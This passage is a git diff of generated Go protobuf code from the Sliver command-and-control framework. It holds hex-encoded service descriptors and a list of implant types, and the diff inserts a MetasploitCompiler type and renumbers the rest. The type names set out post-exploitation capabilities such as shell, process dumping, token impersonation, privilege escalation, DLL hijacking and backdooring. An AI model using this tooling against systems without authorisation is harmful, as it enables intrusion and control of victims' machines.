0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, - 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, - 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, - 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, - 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, - 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, - 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, - 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, - 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, - 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, - 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x33, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x6c, + 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, + 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, + 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, + 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, + 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, + 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, + 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, + 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, + 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x5c, 0x0a, 0x15, + 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, + 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, + 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x53, 0x0a, 0x12, 0x4c, 0x69, + 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, + 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, + 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, + 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, + 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, + 0x50, 0x0a, 0x11, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, + 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, + 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, + 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, + 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, + 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, + 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, + 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, + 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, + 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, + 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, + 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, + 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, + 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, + 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, + 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, + 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, + 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, + 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, + 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, + 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, + 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, + 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, + 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, + 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, + 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, + 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, + 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, + 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, + 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, + 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, + 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, + 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, + 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var file_rpcpb_services_proto_goTypes = []interface{}{ @@ -818,73 +822,74 @@ var file_rpcpb_services_proto_goTypes = []interface{}{ (*clientpb.MsfStager)(nil), // 146: clientpb.MsfStager (*clientpb.ShellcodeRDI)(nil), // 147: clientpb.ShellcodeRDI (*clientpb.Compiler)(nil), // 148: clientpb.Compiler - (*clientpb.ShellcodeEncode)(nil), // 149: clientpb.ShellcodeEncode - (*clientpb.ShellcodeEncoderMap)(nil), // 150: clientpb.ShellcodeEncoderMap - (*clientpb.TrafficEncoderMap)(nil), // 151: clientpb.TrafficEncoderMap - (*clientpb.TrafficEncoderTests)(nil), // 152: clientpb.TrafficEncoderTests - (*clientpb.Websites)(nil), // 153: clientpb.Websites - (*sliverpb.Ps)(nil), // 154: sliverpb.Ps - (*sliverpb.Terminate)(nil), // 155: sliverpb.Terminate - (*sliverpb.Ifconfig)(nil), // 156: sliverpb.Ifconfig - (*sliverpb.Netstat)(nil), // 157: sliverpb.Netstat - (*sliverpb.Ls)(nil), // 158: sliverpb.Ls - (*sliverpb.Pwd)(nil), // 159: sliverpb.Pwd - (*sliverpb.Mv)(nil), // 160: sliverpb.Mv - (*sliverpb.Cp)(nil), // 161: sliverpb.Cp - (*sliverpb.Rm)(nil), // 162: sliverpb.Rm - (*sliverpb.Mkdir)(nil), // 163: sliverpb.Mkdir - (*sliverpb.Download)(nil), // 164: sliverpb.Download - (*sliverpb.Upload)(nil), // 165: sliverpb.Upload - (*sliverpb.Chmod)(nil), // 166: sliverpb.Chmod - (*sliverpb.Chown)(nil), // 167: sliverpb.Chown - (*sliverpb.Chtimes)(nil), // 168: sliverpb.Chtimes - (*sliverpb.MemfilesAdd)(nil), // 169: sliverpb.MemfilesAdd - (*sliverpb.MemfilesRm)(nil), // 170: sliverpb.MemfilesRm - (*sliverpb.ProcessDump)(nil), // 171: sliverpb.ProcessDump - (*sliverpb.RunAs)(nil), // 172: sliverpb.RunAs - (*sliverpb.Impersonate)(nil), // 173: sliverpb.Impersonate - (*sliverpb.RevToSelf)(nil), // 174: sliverpb.RevToSelf - (*sliverpb.GetSystem)(nil), // 175: sliverpb.GetSystem - (*sliverpb.Task)(nil), // 176: sliverpb.Task - (*sliverpb.ExecuteAssembly)(nil), // 177: sliverpb.ExecuteAssembly - (*sliverpb.Migrate)(nil), // 178: sliverpb.Migrate - (*sliverpb.Execute)(nil), // 179: sliverpb.Execute - (*sliverpb.Sideload)(nil), // 180: sliverpb.Sideload - (*sliverpb.SpawnDll)(nil), // 181: sliverpb.SpawnDll - (*sliverpb.Screenshot)(nil), // 182: sliverpb.Screenshot - (*sliverpb.CurrentTokenOwner)(nil), // 183: sliverpb.CurrentTokenOwner - (*sliverpb.PivotListener)(nil), // 184: sliverpb.PivotListener - (*sliverpb.PivotListeners)(nil), // 185: sliverpb.PivotListeners - (*clientpb.PivotGraph)(nil), // 186: clientpb.PivotGraph - (*sliverpb.ServiceInfo)(nil), // 187: sliverpb.ServiceInfo - (*sliverpb.MakeToken)(nil), // 188: sliverpb.MakeToken - (*sliverpb.EnvInfo)(nil), // 189: sliverpb.EnvInfo - (*sliverpb.SetEnv)(nil), // 190: sliverpb.SetEnv - (*sliverpb.UnsetEnv)(nil), // 191: sliverpb.UnsetEnv - (*clientpb.Backdoor)(nil), // 192: clientpb.Backdoor - (*sliverpb.RegistryRead)(nil), // 193: sliverpb.RegistryRead - (*sliverpb.RegistryWrite)(nil), // 194: sliverpb.RegistryWrite - (*sliverpb.RegistryCreateKey)(nil), // 195: sliverpb.RegistryCreateKey - (*sliverpb.RegistryDeleteKey)(nil), // 196: sliverpb.RegistryDeleteKey - (*sliverpb.RegistrySubKeyList)(nil), // 197: sliverpb.RegistrySubKeyList - (*sliverpb.RegistryValuesList)(nil), // 198: sliverpb.RegistryValuesList - (*sliverpb.SSHCommand)(nil), // 199: sliverpb.SSHCommand - (*clientpb.DllHijack)(nil), // 200: clientpb.DllHijack - (*sliverpb.GetPrivs)(nil), // 201: sliverpb.GetPrivs - (*sliverpb.RportFwdListener)(nil), // 202: sliverpb.RportFwdListener - (*sliverpb.RportFwdListeners)(nil), // 203: sliverpb.RportFwdListeners - (*sliverpb.RegisterExtension)(nil), // 204: sliverpb.RegisterExtension - (*sliverpb.CallExtension)(nil), // 205: sliverpb.CallExtension - (*sliverpb.ListExtensions)(nil), // 206: sliverpb.ListExtensions - (*sliverpb.RegisterWasmExtension)(nil), // 207: sliverpb.RegisterWasmExtension - (*sliverpb.ListWasmExtensions)(nil), // 208: sliverpb.ListWasmExtensions - (*sliverpb.ExecWasmExtension)(nil), // 209: sliverpb.ExecWasmExtension - (*sliverpb.WGPortForward)(nil), // 210: sliverpb.WGPortForward - (*sliverpb.WGSocks)(nil), // 211: sliverpb.WGSocks - (*sliverpb.WGTCPForwarders)(nil), // 212: sliverpb.WGTCPForwarders - (*sliverpb.WGSocksServers)(nil), // 213: sliverpb.WGSocksServers - (*sliverpb.Shell)(nil), // 214: sliverpb.Shell - (*sliverpb.Portfwd)(nil), // 215: sliverpb.Portfwd + (*clientpb.MetasploitCompiler)(nil), // 149: clientpb.MetasploitCompiler + (*clientpb.ShellcodeEncode)(nil), // 150: clientpb.ShellcodeEncode + (*clientpb.ShellcodeEncoderMap)(nil), // 151: clientpb.ShellcodeEncoderMap + (*clientpb.TrafficEncoderMap)(nil), // 152: clientpb.TrafficEncoderMap + (*clientpb.TrafficEncoderTests)(nil), // 153: clientpb.TrafficEncoderTests + (*clientpb.Websites)(nil), // 154: clientpb.Websites + (*sliverpb.Ps)(nil), // 155: sliverpb.Ps + (*sliverpb.Terminate)(nil), // 156: sliverpb.Terminate + (*sliverpb.Ifconfig)(nil), // 157: sliverpb.Ifconfig + (*sliverpb.Netstat)(nil), // 158: sliverpb.Netstat + (*sliverpb.Ls)(nil), // 159: sliverpb.Ls + (*sliverpb.Pwd)(nil), // 160: sliverpb.Pwd + (*sliverpb.Mv)(nil), // 161: sliverpb.Mv + (*sliverpb.Cp)(nil), // 162: sliverpb.Cp + (*sliverpb.Rm)(nil), // 163: sliverpb.Rm + (*sliverpb.Mkdir)(nil), // 164: sliverpb.Mkdir + (*sliverpb.Download)(nil), // 165: sliverpb.Download + (*sliverpb.Upload)(nil), // 166: sliverpb.Upload + (*sliverpb.Chmod)(nil), // 167: sliverpb.Chmod + (*sliverpb.Chown)(nil), // 168: sliverpb.Chown + (*sliverpb.Chtimes)(nil), // 169: sliverpb.Chtimes + (*sliverpb.MemfilesAdd)(nil), // 170: sliverpb.MemfilesAdd + (*sliverpb.MemfilesRm)(nil), // 171: sliverpb.MemfilesRm + (*sliverpb.ProcessDump)(nil), // 172: sliverpb.ProcessDump + (*sliverpb.RunAs)(nil), // 173: sliverpb.RunAs + (*sliverpb.Impersonate)(nil), // 174: sliverpb.Impersonate + (*sliverpb.RevToSelf)(nil), // 175: sliverpb.RevToSelf + (*sliverpb.GetSystem)(nil), // 176: sliverpb.GetSystem + (*sliverpb.Task)(nil), // 177: sliverpb.Task + (*sliverpb.ExecuteAssembly)(nil), // 178: sliverpb.ExecuteAssembly + (*sliverpb.Migrate)(nil), // 179: sliverpb.Migrate + (*sliverpb.Execute)(nil), // 180: sliverpb.Execute + (*sliverpb.Sideload)(nil), // 181: sliverpb.Sideload + (*sliverpb.SpawnDll)(nil), // 182: sliverpb.SpawnDll + (*sliverpb.Screenshot)(nil), // 183: sliverpb.Screenshot + (*sliverpb.CurrentTokenOwner)(nil), // 184: sliverpb.CurrentTokenOwner + (*sliverpb.PivotListener)(nil), // 185: sliverpb.PivotListener + (*sliverpb.PivotListeners)(nil), // 186: sliverpb.PivotListeners + (*clientpb.PivotGraph)(nil), // 187: clientpb.PivotGraph + (*sliverpb.ServiceInfo)(nil), // 188: sliverpb.ServiceInfo + (*sliverpb.MakeToken)(nil), // 189: sliverpb.MakeToken + (*sliverpb.EnvInfo)(nil), // 190: sliverpb.EnvInfo + (*sliverpb.SetEnv)(nil), // 191: sliverpb.SetEnv + (*sliverpb.UnsetEnv)(nil), // 192: sliverpb.UnsetEnv + (*clientpb.Backdoor)(nil), // 193: clientpb.Backdoor + (*sliverpb.RegistryRead)(nil), // 194: sliverpb.RegistryRead + (*sliverpb.RegistryWrite)(nil), // 195: sliverpb.RegistryWrite + (*sliverpb.RegistryCreateKey)(nil), // 196: sliverpb.RegistryCreateKey + (*sliverpb.RegistryDeleteKey)(nil), // 197: sliverpb.RegistryDeleteKey + (*sliverpb.RegistrySubKeyList)(nil), // 198: sliverpb.RegistrySubKeyList + (*sliverpb.RegistryValuesList)(nil), // 199: sliverpb.RegistryValuesList + (*sliverpb.SSHCommand)(nil), // 200: sliverpb.SSHCommand + (*clientpb.DllHijack)(nil), // 201: clientpb.DllHijack + (*sliverpb.GetPrivs)(nil), // 202: sliverpb.GetPrivs + (*sliverpb.RportFwdListener)(nil), // 203: sliverpb.RportFwdListener + (*sliverpb.RportFwdListeners)(nil), // 204: sliverpb.RportFwdListeners + (*sliverpb.RegisterExtension)(nil), // 205: sliverpb.RegisterExtension + (*sliverpb.CallExtension)(nil), // 206: sliverpb.CallExtension + (*sliverpb.ListExtensions)(nil), // 207: sliverpb.ListExtensions + (*sliverpb.RegisterWasmExtension)(nil), // 208: sliverpb.RegisterWasmExtension + (*sliverpb.ListWasmExtensions)(nil), // 209: sliverpb.ListWasmExtensions 